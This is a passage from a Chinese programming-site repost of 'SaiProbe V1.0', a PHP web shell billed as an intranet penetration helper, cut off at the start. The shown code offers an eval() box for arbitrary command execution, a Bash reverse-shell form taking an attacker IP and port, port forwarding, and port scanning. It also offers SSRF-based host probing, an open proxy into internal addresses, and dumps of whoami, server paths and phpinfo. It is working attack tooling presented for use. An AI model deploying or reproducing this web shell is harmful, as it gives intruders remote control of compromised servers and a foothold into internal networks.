您的位置：首页 > 编程语言 > PHP开发

SaiProbe V1.0 内网渗透辅助脚本 20160605 php脚本

2016-06-10 16:53 543 查看

            echo "<script>alert('Can't recognize this operation system!)</script>";

        }

    }//==============================在线代理函数====================================

    function proxy($url){

        $output=file_get_contents($url);

        return $output;

    }//======================================Main===================================

    $scan=new portScan();

    if(isset($_POST['submit'])){

        if($_POST['start']!=""){

            $scan->Prepare();

        }else{

            echo "<script>alert('什么都没输怎么扫？')</script>";

        }      

    }

    if(isset($_GET['ip'])){

        $ssrf_ip=$_GET['ip'];

        if($ssrf_ip!=0){

            ssrf($ssrf_ip);

        }

    }

    if(isset($_POST['trans'])) {

        tranmit($_POST['sourceip'],$_POST['sourceport'],$_POST['targetip'],$_POST['targetport']);

    }

    if(isset($_POST['rebound'])){

        bounce($_POST['tarip'],$_POST['tarport']);

    }

    if (isset($_GET['proxy'])) {

        $proxy_web=proxy($_GET['proxy']);

        echo "<div>".$proxy_web."</div>";

    }?><!--=======================================================================================================================================================================华丽的分割线=================================================================================================================================================================--><!DOCTYPE
html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>   <title>Sai 内网探针V1.0</title>

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><style type="text/css"></style></head>

<div align="center">

    <h1>SaiProbe V1.0</h1><hr>

    <div>

        <a href="?id=1">基本信息</a>|<a href="?id=2">反弹转发</a>|<a href="?id=3">命令执行</a>|<a href="?id=4">端口扫描</a>|<a href="?id=5&ip=0">存活探测</a>|<a href="?id=6">phpinfo</a>|<a href="?id=7&proxy=">代理访问</a>|<a href="#">更多功能</a>

    </div>

<hr>

<!-----------------------------基本信息-------------------------------->

</div><div align="center" id="normal">

    <fieldset>

        <legend>基本信息</legend>

    <table border="1" align="center" width="50%">

        <tr>

            <td>服务器IP/地址</td>

            <td><?php echo $_SERVER['SERVER_NAME'];?>(<?php if('/'==DIRECTORY_SEPARATOR){echo $_SERVER['SERVER_ADDR'];}else{echo @gethostbyname($_SERVER['SERVER_NAME']);} ?>)</td>

        </tr>

        <tr>

            <td>当前用户</td>

            <td><?php echo `whoami`?></td>

        </tr>

        <tr>

            <td>网站目录</td>

            <td><?php echo $_SERVER['DOCUMENT_ROOT']?str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']):str_replace('\\','/',dirname(__FILE__));?></td>

        </tr>

        <tr>

            <td>探针所在目录</td>

            <td><?php echo str_replace('\\','/',__FILE__)?str_replace('\\','/',__FILE__):$_SERVER['SCRIPT_FILENAME'];?></td>

        </tr>

        <tr>

            <td>服务器端口</td>

            <td><?php echo $_SERVER['SERVER_PORT'];?></td>

        </tr>

        <tr>

            <td>服务器标识</td>

            <td><?php if($sysInfo['win_n'] != ''){echo $sysInfo['win_n'];}else{echo @php_uname();};?></td>

        </tr>

        <tr>

            <td>PHP版本</td>

            <td><?php echo PHP_VERSION;?></td>

        </tr>

        <tr>

            <td>PHP安装路径</td>

            <td><?php echo $_SERVER["PHPRC"];?></td>

        </tr>

    </table>

    </fieldset>

</div><!-----------------------------命令执行--------------------------------><div align="center" style="display:none" id="command">

    <fieldset>

        <legend>执行函数</legend>

            <form method="post" action="#">

                <div>

                    命令：<input type="text" placeholder="system(‘whoami’)" name="order"/>

                    <input type="submit" value="执行">

                </div>

            </form>

            <div>

                    <textarea cols="150" rows="30" style="resize:none">

                        <? $order=$_POST['order'];echo eval($order.";");?>

                    </textarea>

            </div>

    </fieldset>  

</div><!-----------------------------反弹转发--------------------------------><div align="center" style="display:none" id="inner">

    <fieldset>

        <legend>反弹转发</legend>

            <div>

                <form method="post" action="#">

                Bash反弹：<input type="text" name="tarip" placeholder="目标IP">

                    <input type="text" name="tarport" placeholder="目标端口">

                    <input type="submit" name="rebound" value="执行">

                </form>

                <form method="post" action="">

                端口转发：<input type="text" name="sourceip" placeholder="本地IP"><input type="text" name="sourceport" placeholder="本地端口">

                        <input type="text" name="targetip" placeholder="目标IP"><input type="text" name="targetport" placeholder="目标端口">

                        <input type="submit" name="trans" value="执行">

                <form>

            </div>

    </fieldset>

</div><!-----------------------------批量端口扫描--------------------------------><div align="center" id="portscan" style="display:none">

    <fieldset>

        <legend>批量端口扫描</legend>

        <form action="#" method="post">

            <input type="text" name="start"> -

            <input type="text" name="end">

            <input type="submit" name="submit" value="开始扫描">

        </form>

    </fieldset></div>

<!-----------------------------存活探测-------------------------------->

<div align="center" id="ssrf" style="display:none">

    <fieldset>

        <legend>存活探测</legend>

            <b>请在url的IP参数后跟上ip地址,配合Brupsuit爆破功能进行存活探测,默认为80端口</b>

    </fieldset>

</div><!-----------------------------phpinfo--------------------------------><div align="center" id="phpinfo" style="display:none">

    <fieldset>

        <legend>phpinfo</legend>

        <?php phpinfo()?>

    </fieldset></div>

<!-----------------------------代理访问-------------------------------->

<div align="center" id="proxy" style="display:none">

    <fieldset>

        <legend>代理访问</legend>

            <b>请在url的proxy参数跟上内网地址</b>

    </fieldset>

</div><!-----------------------------更多功能--------------------------------><div align="center" id="phpinfo" style="display:none">

    <fieldset>

    </fieldset>

</div><div align="center"><a href="http://www.heysec.org">Code by Sai</a></div><script type="text/javascript">

        var id=<?php echo $_GET['id'];?>;

        var x;

        switch (id){

            case 1:

            break;

            case 2:

                document.getElementById("inner").style.display='';

            break;

            case 3:

                document.getElementById("command").style.display='';

            break;

            case 4:

                document.getElementById("portscan").style.display='';

            break;

            case 5:

                document.getElementById("ssrf").style.display='';

            break;        

            case 6:

                document.getElementById("phpinfo").style.display='';

            break;

            case 7:

                document.getElementById("proxy").style.display='';

            break;

        }

    </script>

收藏感谢(0)
分享到：

0

16 个回复